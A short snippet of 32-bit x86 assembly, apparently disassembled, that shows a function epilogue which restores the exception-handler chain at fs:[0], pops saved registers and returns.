mov dword [ecx], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret